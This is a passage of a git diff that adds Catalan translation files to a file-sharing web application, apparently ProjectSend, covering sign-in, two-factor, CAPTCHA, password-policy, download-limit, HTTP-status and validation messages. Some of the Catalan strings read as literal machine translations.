sota el DN base.", + "The directory rejected that password.": "El directori ha rebutjat aquesta contrasenya.", + "The search failed: :error": "La cerca ha fallat: :error", + "The sign-in bind failed: :error": "L'autenticació d'inici de sessió ha fallat: :error", + "Signed in successfully.": "S'ha iniciat la sessió correctament.", + "1 item": "1 element", + ":count items": ":count elements", + "1 API token": "1 testimoni d'API", + ":count API tokens": ":count testimonis d'API", + "1 assigned client": "1 client assignat", + ":count assigned clients": ":count clients assignats", + "Managed by 1 staff member": "Gestionat per 1 membre de l'equip", + "Managed by :count staff members": "Gestionat per :count membres de l'equip", + "1 group membership": "1 adhesió a un grup", + ":count group memberships": ":count adhesions a grups", + "1 file shared with them": "1 fitxer compartit amb aquest compte", + ":count files shared with them": ":count fitxers compartits amb aquest compte", + "Approve these accounts automatically": "Aprova aquests comptes automàticament", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "El teu directori ja ha establert qui són, així que no hi ha ningú per verificar. Deixa-ho desactivat per revisar-los primer un per un a Sol·licituds de compte.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Els clients que es registren pel seu compte s'aproven automàticament; aquesta opció és independent i no segueix aquesta norma.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Els clients que es registren pel seu compte continuen esperant aprovació; aquesta opció és independent i no ho canvia.", + "Container filesystem": "Sistema de fitxers del contenidor", + "Docker volume": "Volum de Docker", + "Files stored on": "Fitxers desats a", + "Host directory": "Directori de l'amfitrió", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Això vol dir que docker compose down -v i docker volume prune els eliminen tots dos, i que una còpia de seguretat del teu servidor els pot passar totalment per alt.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "No són en cap volum, així que reconstruir o tornar a crear aquest contenidor eliminarà definitivament tots els fitxers. Mou-los a un directori de l'amfitrió abans de pujar res més.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Sobreviuen a les actualitzacions, però són en un volum gestionat per Docker i no pas en un directori que hagis triat tu.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Sobreviuen a les actualitzacions, però són al volum de Docker :volume i no pas en un directori que hagis triat tu.", + "Uploaded files are inside Docker": "Els fitxers pujats són dins de Docker", + "Uploaded files are stored inside the container": "Els fitxers pujats es desen dins del contenidor", + "1 more language available": "1 idioma més disponible", + ":count more languages available": ":count idiomes més disponibles", + ":left of :limit downloads left": "queden :left de :limit baixades", + ":limit downloads per person": ":limit baixades per persona", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name iniciarà la sessió només amb la contrasenya fins que ho torni a configurar, i rebrà un correu sobre aquest canvi. Si en aquest lloc s'exigeix la verificació en dos passos, se li demanarà que l'activi de nou en el proper inici de sessió.", + ":provider accepted your secret key.": ":provider ha acceptat la teva clau secreta.", + ":provider connected.": ":provider connectat.", + ":provider did not provide an email address, which is required to sign in.": ":provider no ha proporcionat cap adreça de correu, que és necessària per iniciar la sessió.", + ":provider disconnected.": ":provider desconnectat.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider mai no informa de si una adreça està verificada, així que amb això activat pot crear comptes nous però no iniciar mai la sessió en un que ja existeixi. Connectar-lo des de la Configuració amb la sessió ja iniciada continua funcionant.", + ":provider rejected your secret key.": ":provider ha rebutjat la teva clau secreta.", + ":provider settings saved.": "Configuració de :provider desada.", + ":used of :limit downloads used": ":used de :limit baixades usades", + "A :provider account was connected": "S'ha connectat un compte de :provider", + "A :provider account was disconnected": "S'ha desconnectat un compte de :provider", + "Accounts at :domain cannot sign in with :provider here.": "Els comptes de :domain no poden iniciar la sessió amb :provider aquí.", + "A client account was created from :provider": "S'ha creat un compte de client a partir de :provider", + "Allowed email domains": "Dominis de correu permesos", + "Allow signing in with :provider": "Permetre iniciar la sessió amb :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Sempre un compte de client. Els comptes de l'equip només els crea un administrador.", + "Always available — the application is written in English, so it needs no translation file.": "Sempre disponible: l'aplicació està escrita en anglès, així que no necessita fitxer de traducció.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Ja hi ha un compte amb aquesta adreça de correu, i :provider no ha confirmat que sigui teva. Inicia la sessió amb la teva contrasenya i connecta :provider des de la teva configuració.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Una adreça que el proveïdor no ha confirmat no es pot associar mai a un compte que ja existeixi aquí. Desactivar això vol dir que qualsevol que es pugui registrar al teu proveïdor amb l'adreça d'una altra persona podria iniciar la sessió com si fos ella.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Un administrador ha eliminat la verificació en dos passos del teu compte. La pots tornar a configurar des de la teva configuració de seguretat. Contacta amb el teu administrador si no ho esperaves.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Qualsevol que pugui accedir a un fitxer veu les categories que té assignades: un client al seu portal, o qualsevol que tingui un enllaç públic o compartit. Els clients amb la sessió iniciada també poden filtrar els seus fitxers per qualsevol categoria d'aquesta llista. Només el teu equip pot crear-les, canviar-los el nom o eliminar-les.", + "Applies whenever a password is chosen, not when one is used to sign in": "S'aplica cada vegada que es tria una contrasenya, no quan se'n fa servir una per iniciar la sessió", + "Approve those accounts automatically": "Aprovar aquests comptes automàticament", + "A secret is stored. Leave this blank to keep it.": "Hi ha un secret desat. Deixa-ho en blanc per conservar-lo.", + "At least :count characters.": "Com a mínim :count caràcters.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Entre 0.0 (tractar tothom com un bot) i 1.0 (tractar tothom com un humà). El valor habitual és 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "El CAPTCHA està desactivat. Tria un proveïdor i introdueix-ne les claus per activar-lo.", + "CAPTCHA settings saved.": "Configuració del CAPTCHA desada.", + "Categories are visible outside your team": "Les categories es veuen fora del teu equip", + "Change yours": "Canvia la teva", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Comprova les contrasenyes noves contra la base de filtracions de Have I Been Pwned. La contrasenya en si no surt mai d'aquest servidor: només s'envien els cinc primers caràcters del seu resum.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Comprova la clau secreta amb el teu proveïdor. Ningú no ha de resoldre cap repte.", + "Client ID": "ID de client", + "Client registration": "Registre de clients", + "Client secret": "Secret de client", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Separats per comes. Deixa-ho en blanc per permetre qualsevol adreça.", + "Comments from visitors": "Comentaris de visitants", + "Complete the security check and try again.": "Completa la comprovació de seguretat i torna-ho a provar.", + "Configure it myself": "Configurar-ho jo mateix", + "Connected": "Connectat", + "Connected accounts": "Comptes connectats", + "Connected the :provider account of \":subject\"": "Ha connectat el compte de :provider de «:subject»", + "Continue with :provider": "Continua amb :provider", + "Could not reach :provider: :error": "No s'ha pogut contactar amb :provider: :error", + "Created a client account from :provider on first sign-in": "Ha creat un compte de client a partir de :provider en el primer inici de sessió", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Les dates i hores de tota l'aplicació es mostren en aquesta zona. S'ha detectat des del teu navegador la primera vegada que vas iniciar la sessió.", + "Default language": "Idioma per defecte", + "Directory (tenant) ID": "ID de directori (inquilí)", + "Disabled": "Desactivat", + "Disconnect": "Desconnecta", + "Disconnected the :provider account of \":subject\"": "Ha desconnectat el compte de :provider de «:subject»", + "Downloaded :count time(s) so far. Your own downloads never count.": "Baixat :count vegada/vegades fins ara. Les teves pròpies baixades no compten mai.", + "Download limit": "Límit de baixades", + "Download limit reached": "Límit de baixades assolit", + "Each person separately": "Cada persona per separat", + "Enabled": "Activat", + "Enter a secret key first.": "Introdueix primer una clau secreta.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Introdueix un ID d'inquilí específic. Els punts finals compartits «common», «organizations» i «consumers» permeten que qualsevol inquilí de Microsoft afirmi qualsevol adreça de correu.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "A sota es llisten tots els idiomes instal·lats en aquest servidor. Marca els que vulguis oferir al menú d'idiomes: l'equip, els clients i els visitants públics només veuran aquests. Instal·lar un altre idioma és qüestió d'afegir-ne el fitxer de traducció a la carpeta lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Les contrasenyes existents no es tornen a comprovar mai, així que apujar això només afecta les contrasenyes que es triïn a partir d'ara.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "En total, entre tothom", + "Issuer URL": "URL de l'emissor", + "Languages": "Idiomes", + "Language settings": "Configuració d'idioma", + "Leave empty for a file that can be downloaded any number of times.": "Deixa-ho buit per a un fitxer que es pugui baixar qualsevol nombre de vegades.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "La longitud és el factor que més influeix en la dificultat d'endevinar una contrasenya; per això aquí no hi ha regles del tipus «ha de contenir una majúscula»: empenyen la gent cap a substitucions previsibles i contrasenyes més curtes.", + "Let people sign in with an account they already have somewhere else.": "Deixa que la gent iniciï la sessió amb un compte que ja tingui en un altre lloc.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Longitud mínima", + "No limit": "Sense límit", + "None selected": "Cap seleccionat", + "No sign-in providers have been set up for this site.": "No s'ha configurat cap proveïdor d'inici de sessió per a aquest lloc.", + "Not connected": "No connectat", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Desactivat vol dir que queden a Sol·licituds de compte. Una adreça que el proveïdor no ha verificat sempre queda en espera, digui el que digui això.", + "Off — no CAPTCHA": "Desactivat: sense CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "O continua amb", + "Or sign up with": "O registra't amb", + "Passwords": "Contrasenyes", + "Passwords that appear in known data breaches are not accepted.": "No s'accepten contrasenyes que apareguin en filtracions de dades conegudes.", + "Protection": "Protecció", + "Protect these forms": "Protegeix aquests formularis", + "Protect your public forms from automated abuse": "Protegeix els teus formularis públics de l'abús automatitzat", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI de redirecció", + "Register this exact address with :provider. It must match character for character.": "Registra aquesta adreça exacta a :provider. Ha de coincidir caràcter per caràcter.", + "Reject passwords found in known data breaches": "Rebutja les contrasenyes trobades en filtracions de dades conegudes", + "Removed two-factor authentication from \":subject\"": "Ha eliminat la verificació en dos passos de «:subject»", + "Remove the limit": "Elimina el límit", + "Remove two-factor authentication": "Elimina la verificació en dos passos", + "Remove two-factor authentication?": "Vols eliminar la verificació en dos passos?", + "Require a verified email address": "Exigeix una adreça de correu verificada", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Executa-ho com l'usuari amb què s'executa el teu servidor web. INSTALL.md té el procediment complet.", + "Score threshold": "Llindar de puntuació", + "Search timezones…": "Cerca zones horàries…", + "Security check failed. Please try again.": "La comprovació de seguretat ha fallat. Torna-ho a provar.", + "Service": "Servei", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Estableix una contrasenya per a aquest compte. No n'ha tingut mai cap: inicia la sessió a través d'un proveïdor connectat, i un compte de l'equip necessita una credencial que aquesta aplicació pugui comprovar per si mateixa.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Als visitants amb la sessió iniciada mai no se'ls demana que resolguin cap repte en comentar.", + "Sign in": "Inicia la sessió", + "Sign in with an account you already have somewhere else.": "Inicia la sessió amb un compte que ja tinguis en un altre lloc.", + "Site key": "Clau del lloc", + "Social login": "Inici de sessió social", + "Stored encrypted and never shown again, not even to you.": "Es desa xifrat i no es torna a mostrar, ni tan sols a tu.", + "Stored — leave blank to keep it": "Desat: deixa-ho en blanc per conservar-lo", + "Testing…": "S'està provant…", + "Test keys": "Prova les claus", + "That :provider account is already connected to another account here.": "Aquest compte de :provider ja està connectat a un altre compte d'aquí.", + "That sign-in could not be completed. Please try again.": "No s'ha pogut completar aquest inici de sessió. Torna-ho a provar.", + "That sign-in method is not available.": "Aquest mètode d'inici de sessió no està disponible.", + "The default language has to be one of the languages you are offering.": "L'idioma per defecte ha de ser un dels idiomes que ofereixes.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Els punts finals es llegeixen d'aquesta adreça, així que és tota la configuració. Ha de ser https.", + "The expiry date must be in the future.": "La data de caducitat ha de ser en el futur.", + "The issuer URL must start with https://.": "L'URL de l'emissor ha de començar per https://.", + "The public key. It appears in your pages’ source, which is expected.": "La clau pública. Apareix al codi font de les teves pàgines, cosa que és normal.", + "There is no account here for that address.": "Aquí no hi ha cap compte per a aquesta adreça.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "No s'ha pogut carregar la comprovació de seguretat. Comprova que el teu navegador o la teva xarxa no la bloquegin i torna a carregar la pàgina.", + "This account does not use an authenticator app.": "Aquest compte no fa servir cap aplicació d'autenticació.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Aquest compte no ha tingut mai una contrasenya pròpia: inicia la sessió a través d'un proveïdor connectat. L'equip necessita una credencial que aquesta aplicació pugui comprovar per si mateixa, perquè una caiguda del proveïdor no els deixi fora.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Aquest compte inicia la sessió amb una aplicació d'autenticació. Elimina-la només si el titular ha perdut tant l'aplicació com els codis de recuperació.", + "This file has reached its download limit.": "Aquest fitxer ha assolit el seu límit de baixades.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Aquesta és l'única manera com pots iniciar la sessió. Estableix primer una contrasenya i després desconnecta :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Aquest lloc està protegit per reCAPTCHA i s'apliquen la Política de privadesa i les Condicions del servei de Google.", + "Those files have reached their download limit.": "Aquests fitxers han assolit el seu límit de baixades.", + "Timezone": "Zona horària", + "To update, back up your database and files, then:": "Per actualitzar, fes una còpia de seguretat de la teva base de dades i els teus fitxers, i després:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Per actualitzar, segueix els passos d'INSTALL.md: primer fes una còpia de seguretat, després descomprimeix la versió i executa les migracions.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Desactiva això només si aquest servidor no ha de fer cap petició de sortida. Si no es pot contactar amb el servei, la contrasenya s'accepta igualment, així que una instal·lació sense connexió mai no queda bloquejada per això.", + "Two-factor authentication removed.": "Verificació en dos passos eliminada.", + "Two-factor authentication removed by an admin": "Verificació en dos passos eliminada per un administrador", + "Two-factor authentication was removed by an administrator": "Un administrador ha eliminat la verificació en dos passos", + "Two-factor authentication was removed from your account": "S'ha eliminat la verificació en dos passos del teu compte", + "Unexpected reply from :provider: :codes": "Resposta inesperada de :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "S'utilitza per a qui no hagi triat una zona horària pròpia, inclosos els visitants de les teves pàgines públiques i enllaços compartits. Cada compte pot fixar la seva al seu perfil.", + "Use ProjectSend’s protection": "Utilitza la protecció de ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Fes servir el teu propi compte de reCAPTCHA o Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "No s'ha pogut contactar amb la verificació recentment, així que els formularis protegits es deixen passar sense comprovar. Ningú no queda fora.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Protegim els teus formularis públics per tu. Res a configurar, cap clau a gestionar.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "El que veu la gent abans d'haver triat res. Un compte amb la sessió iniciada manté la seva pròpia tria, i un visitant el navegador del qual demana un dels idiomes de dalt rep aquell: aquesta és la resposta per a tothom altre.", + "Which languages people can choose from": "Entre quins idiomes pot triar la gent", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "El teu compte s'ha creat a través d'un d'aquests proveïdors i no té contrasenya pròpia, així que no es pot eliminar l'última connexió. Estableix primer una contrasenya si la vols desconnectar.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "El teu compte està en :timezone, així que això no canviarà com veus tu les dates.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "El teu propi inquilí, no «common». Microsoft permet que un usuari canviï l'adreça de correu del seu compte, així que un inici de sessió només és fiable quan el testimoni prové de l'inquilí que has indicat aquí.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "El teu proveïdor ha rebutjat la clau secreta d'aquesta instal·lació, així que els formularis protegits es deixen passar sense comprovar. Revisa la clau secreta de sota.", + "Your public forms are protected. You can switch to your own keys at any time.": "Els teus formularis públics estan protegits. Pots canviar a les teves pròpies claus en qualsevol moment." +} diff --git a/lang/ca/actions.php b/lang/ca/actions.php new file mode 100644 index 00000000..2c5f7486 --- /dev/null +++ b/lang/ca/actions.php @@ -0,0 +1,119 @@ + 'Acceptar', + 'action' => 'Acció', + 'actions' => 'Accions', + 'add' => 'Afegeix', + 'admin' => 'Admin', + 'agree' => 'Acordar', + 'archive' => 'Arxiu', + 'assign' => 'Assignar', + 'associate' => 'Associat', + 'attach' => 'Adjuntar', + 'browse' => 'Navega', + 'cancel' => 'Cancel · lar', + 'choose' => 'Tria', + 'choose_file' => 'Trieu l\'arxiu', + 'choose_image' => 'Trieu Imatge', + 'click_to_copy' => 'Feu clic per copiar', + 'close' => 'Tanca', + 'collapse' => 'Col·lapse', + 'collapse_all' => 'Col · lapsar tot', + 'comment' => 'Comenta', + 'confirm' => 'Confirmeu', + 'connect' => 'Connecta\'t', + 'create' => 'Crear', + 'delete' => 'Suprimeix', + 'detach' => 'Separar', + 'details' => 'Detalls', + 'disable' => 'Desactivar', + 'discard' => 'Descartar', + 'done' => 'Fet', + 'down' => 'Avall', + 'duplicate' => 'Duplicat', + 'edit' => 'Edita', + 'enable' => 'Activa', + 'expand' => 'Ampliar', + 'expand_all' => 'Amplia-ho tot', + 'explanation' => 'Explicació', + 'export' => 'Exporta', + 'file' => 'Dossier', + 'files' => 'Fitxers', + 'go_home' => 'Aneu a l\'inici', + 'hide' => 'Amaga', + 'home' => 'Inici', + 'image' => 'Imatge', + 'impersonate' => 'Suplantar la identitat', + 'impersonation' => 'Suplantació d\'identitat', + 'import' => 'Importar', + 'introduction' => 'Introducció', + 'like' => 'M\'agrada', + 'load' => 'Carrega', + 'localize' => 'Localitza', + 'log_in' => 'Iniciar Sessió', + 'log_out' => 'Tancar sessió', + 'named' => [ + 'add' => 'Afegeix :name', + 'choose' => 'Trieu :name', + 'create' => 'Crea :name', + 'delete' => 'Suprimeix :name', + 'duplicate' => 'Duplicat: nom', + 'edit' => 'Edita :name', + 'export' => 'Export :name', + 'hide' => 'Amaga :name', + 'import' => 'Importació :name', + 'new' => 'Nou :name', + 'restore' => 'Restaurar :name', + 'save' => 'Estalvia :name', + 'search' => 'Cerca :name', + 'show' => 'Mostra :name', + 'update' => 'Actualització :name', + 'view' => 'Vista :name', + ], + 'new' => 'Nou', + 'no' => 'No', + 'open' => 'Obert', + 'open_website' => 'Obert al lloc web', + 'preview' => 'Vista prèvia', + 'price' => 'Preu', + 'record' => 'Registre', + 'restore' => 'Restaurar', + 'save' => 'Desa', + 'save_and_close' => 'Desa i tanca', + 'save_and_return' => 'Guarda i torna', + 'search' => 'Cerca', + 'select' => 'Seleccioneu', + 'select_all' => 'Seleccionar tot', + 'send' => 'Enviar', + 'settings' => 'Configuració', + 'show' => 'Espectacle', + 'show_all' => 'Mostrar tots', + 'sign_in' => 'Inicieu la sessió', + 'solve' => 'Resol', + 'start' => 'Començar', + 'stop' => 'Atura', + 'submit' => 'Presentar', + 'subscribe' => 'Subscriu-te', + 'switch' => 'Interruptor', + 'switch_to_role' => 'Canvia al rol', + 'tag' => 'Etiqueta', + 'tags' => 'Etiquetes', + 'target_link' => [ + 'blank' => 'Obre en una finestra nova', + 'parent' => 'Obre en un marc principal', + 'self' => 'Obre en una finestra actual', + 'top' => 'Obre al marc superior', + ], + 'translate' => 'Traduir', + 'translate_it' => 'Tradueix-ho', + 'unpack' => 'Desempaquetar', + 'unsubscribe' => 'Cancel·la la subscripció', + 'up' => 'Amunt', + 'update' => 'Actualització', + 'user' => 'Usuari', + 'view' => 'Veure', + 'yes' => 'Sí', +]; diff --git a/lang/ca/auth.php b/lang/ca/auth.php new file mode 100644 index 00000000..8d7e7a65 --- /dev/null +++ b/lang/ca/auth.php @@ -0,0 +1,9 @@ + 'Aquestes credencials no concorden amb els nostres registres.', + 'password' => 'La contrasenya és incorrecta.', + 'throttle' => 'Ha superat el nombre màxim d\'intents d\'accés. Si us plau, torni a intentar-ho en :seconds segons.', +]; diff --git a/lang/ca/http-statuses.php b/lang/ca/http-statuses.php new file mode 100644 index 00000000..7397e01b --- /dev/null +++ b/lang/ca/http-statuses.php @@ -0,0 +1,84 @@ + 'Error desconegut', + '100' => 'Continua', + '101' => 'Protocols de commutació', + '102' => 'Processament', + '200' => 'D\'acord', + '201' => 'Creat', + '202' => 'Acceptat', + '203' => 'Informació no autoritzada', + '204' => 'Sense contingut', + '205' => 'Restablir contingut', + '206' => 'Contingut parcial', + '207' => 'Multiestatus', + '208' => 'Ja s\'ha informat', + '226' => 'IM utilitzat', + '300' => 'Opcions múltiples', + '301' => 'Mogut permanentment', + '302' => 'Trobat', + '303' => 'Vegeu Altres', + '304' => 'No modificat', + '305' => 'Utilitzeu el proxy', + '307' => 'Redirecció temporal', + '308' => 'Redirecció permanent', + '400' => 'Petició dolenta', + '401' => 'No autoritzat', + '402' => 'Pagament obligatori', + '403' => 'Prohibit', + '404' => 'No trobat', + '405' => 'Mètode no permès', + '406' => 'No és acceptable', + '407' => 'Es requereix autenticació de proxy', + '408' => 'Temps d\'espera esgotat', + '409' => 'Conflicte', + '410' => 'Desaparegut', + '411' => 'Longitud requerida', + '412' => 'La condició prèvia ha fallat', + '413' => 'Càrrega útil massa gran', + '414' => 'URI massa llarg', + '415' => 'Tipus de suport no compatible', + '416' => 'Interval no satisfactori', + '417' => 'L\'expectativa ha fallat', + '418' => 'Sóc una tetera', + '419' => 'La sessió ha caducat', + '421' => 'Sol·licitud mal dirigida', + '422' => 'Entitat no processable', + '423' => 'Tancat', + '424' => 'Dependència fallida', + '425' => 'Massa aviat', + '426' => 'Actualització necessària', + '428' => 'Condició prèvia requerida', + '429' => 'Massa sol·licituds', + '431' => 'Els camps de la capçalera de la sol·licitud són massa grans', + '444' => 'Connexió tancada sense resposta', + '449' => 'Torna-ho a provar amb', + '451' => 'No disponible per motius legals', + '499' => 'Sol·licitud de client tancada', + '500' => 'error del servidor intern', + '501' => 'No implementat', + '502' => 'Porta d\'enllaç incorrecta', + '503' => 'mode de manteniment', + '504' => 'Temps d\'espera de la passarel·la', + '505' => 'Versió HTTP no compatible', + '506' => 'La variant també es negocia', + '507' => 'Emmagatzematge insuficient', + '508' => 'Bucle detectat', + '509' => 'Límit d\'ample de banda excedit', + '510' => 'No ampliat', + '511' => 'Es requereix autenticació de xarxa', + '520' => 'Error desconegut', + '521' => 'El servidor web està caigut', + '522' => 'Temps de connexió esgotat', + '523' => 'L\'origen és inabastable', + '524' => 'S\'ha produït un temps mort', + '525' => 'SSL Handshake ha fallat', + '526' => 'Certificat SSL no vàlid', + '527' => 'Error de canó de ferrocarril', + '598' => 'Error de temps d\'espera de lectura de la xarxa', + '599' => 'Error de temps d\'espera de connexió a la xarxa', + 'unknownError' => 'Error desconegut', +]; diff --git a/lang/ca/pagination.php b/lang/ca/pagination.php new file mode 100644 index 00000000..b59cafef --- /dev/null +++ b/lang/ca/pagination.php @@ -0,0 +1,8 @@ + 'Següent »', + 'previous' => '« Anterior', +]; diff --git a/lang/ca/passwords.php b/lang/ca/passwords.php new file mode 100644 index 00000000..c99cdb27 --- /dev/null +++ b/lang/ca/passwords.php @@ -0,0 +1,11 @@ + 'La contrasenya s\'ha restablert!', + 'sent' => 'Li hem enviat un correu electrònic amb un enllaç per a reiniciar la teva contrasenya!', + 'throttled' => 'Si us plau, esperi abans de tornar-ho a intentar.', + 'token' => 'Aquest token de recuperació de contrasenya és invàlid.', + 'user' => 'No existeix cap usuari amb aquest correu.', +]; diff --git a/lang/ca/validation.php b/lang/ca/validation.php new file mode 100644 index 00000000..1136705d --- /dev/null +++ b/lang/ca/validation.php @@ -0,0 +1,288 @@ + ':Attribute ha de ser acceptat.', + 'accepted_if' => 'El :attribute s\'ha d\'acceptar quan :other és :value.', + 'active_url' => ':Attribute no és un URL vàlid.', + 'after' => ':Attribute ha de ser una data posterior a :date.', + 'after_or_equal' => ':Attribute ha de ser una data posterior o igual a :date.', + 'alpha' => ':Attribute només pot contenir lletres.', + 'alpha_dash' => ':Attribute només pot contenir lletres, números i guions.', + 'alpha_num' => ':Attribute només pot contenir lletres i números.', + 'any_of' => 'El camp :attribute no és vàlid.', + 'array' => ':Attribute ha de ser una matriu.', + 'ascii' => 'El :attribute només ha de contenir caràcters i símbols alfanumèrics d\'un sol byte.', + 'before' => ':Attribute ha de ser una data anterior a :date.', + 'before_or_equal' => ':Attribute ha de ser una data anterior o igual a :date.', + 'between' => [ + 'array' => ':Attribute ha de tenir entre :min - :max ítems.', + 'file' => ':Attribute ha de pesar entre :min - :max kilobytes.', + 'numeric' => ':Attribute ha d\'estar entre :min - :max.', + 'string' => ':Attribute ha de tenir entre :min - :max caràcters.', + ], + 'boolean' => 'El camp :attribute ha de ser verdader o fals', + 'can' => 'El camp :attribute conté un valor no autoritzat.', + 'confirmed' => 'La confirmació de :attribute no coincideix.', + 'contains' => 'Al camp :attribute li falta un valor obligatori.', + 'current_password' => 'La contrasenya és incorrecta.', + 'date' => ':Attribute no és una data vàlida.', + 'date_equals' => 'El :attribute ha de ser una data igual a :date.', + 'date_format' => 'El camp :attribute no concorda amb el format :format.', + 'decimal' => 'El :attribute ha de tenir :decimal decimals.', + 'declined' => 'Els :attribute s\'han de rebutjar.', + 'declined_if' => 'El :attribute s\'ha de rebutjar quan :other és :value.', + 'different' => ':Attribute i :other han de ser diferents.', + 'digits' => ':Attribute ha de tenir :digits dígits.', + 'digits_between' => ':Attribute ha de tenir entre :min i :max dígits.', + 'dimensions' => 'Les dimensions de la imatge :attribute no són vàlides.', + 'distinct' => 'El camp :attribute té un valor duplicat.', + 'doesnt_contain' => 'El camp :attribute no ha de contenir cap dels següents: :values.', + 'doesnt_end_with' => 'El :attribute no pot acabar amb un dels següents: :values.', + 'doesnt_start_with' => 'El :attribute no pot començar amb un dels següents: :values.', + 'email' => ':Attribute no és un e-mail vàlid', + 'encoding' => 'El camp :attribute s\'ha de codificar en :encoding.', + 'ends_with' => 'La :attribute ha d\'acabar amb una de les següents: :values.', + 'enum' => 'El :attribute seleccionat no és vàlid.', + 'exists' => ':Attribute és invàlid.', + 'extensions' => 'El camp :attribute ha de tenir una de les extensions següents: :values.', + 'file' => 'El camp :attribute ha de ser un arxiu.', + 'filled' => 'El camp :attribute és obligatori.', + 'gt' => [ + 'array' => 'El :attribute ha de tenir més de :value ítems.', + 'file' => 'El :attribute ha de ser superior a :value kilobytes.', + 'numeric' => 'El :attribute ha de ser superior a :value.', + 'string' => 'El :attribute ha de superar els :value caràcters.', + ], + 'gte' => [ + 'array' => 'El :attribute ha de tenir :value ítems o més.', + 'file' => 'El :attribute ha de ser igual o superior a :value kilobytes.', + 'numeric' => 'El :attribute ha de ser igual o superior a :value.', + 'string' => 'El :attribute ha de ser igual o superior a :value caràcters.', + ], + 'hex_color' => 'El camp :attribute ha de ser un color hexadecimal vàlid.', + 'image' => ':Attribute ha de ser una imatge.', + 'in' => ':Attribute és invàlid', + 'in_array' => 'El camp :attribute no existeix dintre de :other.', + 'in_array_keys' => 'El camp :attribute ha de contenir almenys una de les tecles següents: :values.', + 'integer' => ':Attribute ha de ser un nombre enter.', + 'ip' => ':Attribute ha de ser una adreça IP vàlida.', + 'ipv4' => ':Attribute ha de ser una adreça IPv4 vàlida.', + 'ipv6' => ':Attribute ha de ser una adreça IPv6 vàlida.', + 'json' => 'El camp :attribute ha de ser una cadena JSON vàlida.', + 'list' => 'El camp :attribute ha de ser una llista.', + 'lowercase' => 'El :attribute ha d\'anar en minúscula.', + 'lt' => [ + 'array' => 'El :attribute ha de tenir menys de :value ítems.', + 'file' => 'El :attribute ha de ser inferior a :value kilobytes.', + 'numeric' => 'El :attribute ha de ser inferior a :value.', + 'string' => 'El :attribute no ha de superar els :value caràcters.', + ], + 'lte' => [ + 'array' => 'El :attribute no ha de tenir més de :value ítems.', + 'file' => 'El :attribute ha de ser igual o inferior a :value kilobytes.', + 'numeric' => 'El :attribute ha de ser igual o inferior a :value.', + 'string' => 'El :attribute ha de ser igual o inferior a :value 